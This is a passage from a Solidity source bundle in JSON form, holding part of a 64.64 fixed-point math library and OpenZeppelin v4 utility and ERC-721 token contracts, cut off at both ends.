0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev 